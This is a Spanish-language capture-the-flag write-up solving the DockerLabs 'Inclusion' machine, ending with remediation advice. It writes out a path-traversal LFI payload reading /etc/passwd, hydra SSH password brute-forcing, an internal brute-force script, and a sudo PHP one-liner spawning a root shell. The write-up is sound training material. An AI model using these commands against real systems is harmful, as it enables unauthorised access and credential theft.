Skip to content

Inclusion

This content is not available in your language yet.

Este documento detalla la resolución completa de la máquina Inclusion, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo es guiar paso a paso el proceso de compromiso del sistema:

  1. Reconocimiento: Descubrimiento de servicios y endpoints web expuestos.
  2. Explotación: Obtención de credenciales mediante una vulnerabilidad LFI combinada con fuerza bruta vía SSH.
  3. Escalada de privilegios: Uso de técnicas de password scraping y mala configuración de sudo para obtener root.

Todo el procedimiento se realizó en el entorno aislado de DockerLabs.


AtributoValor
NombreInclusion
AutorEl Pingüino de Mario
DificultadMedio
Fecha12/05/2024
PlataformaDockerLabs

Descomprimimos y desplegamos la máquina:

Ventana de terminal
unzip Inclusion.zip
sudo bash auto_deploy.sh Inclusion.tar

IP asignada


Ventana de terminal
mkdir -p Inclusion/{content,exploits,nmap,gobuster,scripts}
cd Inclusion

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Utilizamos Feroxbuster:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

Feroxbuster result

Rutas relevantes:

  • /index.html — Página generada por Apache.
  • /shop — Una tienda de teclados con un parámetro vulnerable.

shop

Dentro de /shop, se observa el mensaje:

"Error de Sistema: ($_GET['archivo']);"

Esto indica que el backend intenta cargar archivos usando el valor de archivo, sugiriendo una vulnerabilidad LFI.


Probamos un ataque LFI:

http://172.17.0.2/shop/index.php?archivo=../../../../etc/passwd

passwd

Usuarios identificados:

  • manchi
  • seller

Los wrappers de PHP están deshabilitados, así que no podemos convertir el LFI en RCE. La vía lógica: fuerza bruta contra SSH.

Probamos con manchi:

Ventana de terminal
hydra -l manchi -P rockyou.txt ssh://172.17.0.2 -t 64

hydra

Obtenemos credenciales válidas → acceso via SSH:

ssh



No encontramos binarios SUID, tareas cron o configuraciones sudo útiles. Por lo tanto, recurrimos a fuerza bruta interna con el script personalizado UserRush.

Transferimos los archivos mediante scp:

Ventana de terminal
scp ./UserRush.sh manchi@172.17.0.2:/tmp/UserRush.sh
scp ./rockyou.txt manchi@172.17.0.2:/tmp/rockyou.txt

files

Asignamos permisos de ejecución:

Ventana de terminal
chmod +x /tmp/UserRush.sh

Ejecutamos:

Ventana de terminal
./UserRush.sh -u seller -t 20

UserRush results

Accedemos con:

Ventana de terminal
su seller

seller


Revisamos permisos sudo:

sudo-l seller

Vemos que seller puede ejecutar PHP como root sin contraseña. Por lo tanto, podemos invocar una shell como root:

Ventana de terminal
sudo php -r "system('/bin/bash');"

Acceso root:

root


  • LFI no validado, permitiendo lectura de archivos sensibles.
  • SSH expuesto sin protecciones adicionales.
  • Contraseñas débiles y reutilizadas.
  • Acceso sudo excesivo: permitir ejecutar PHP como root es crítico.
  • Falta de restricciones en herramientas de enumeración internas.

  • Implementar validación estricta del parámetro archivo en /shop/.
  • Deshabilitar SSH o restringirlo únicamente a IPs confiables.
  • Aplicar políticas de contraseñas robustas y rotación periódica.
  • Revisar configuraciones sudo y eliminar privilegios innecesarios.
  • Monitorear accesos sospechosos y aplicar reglas de detección LFI.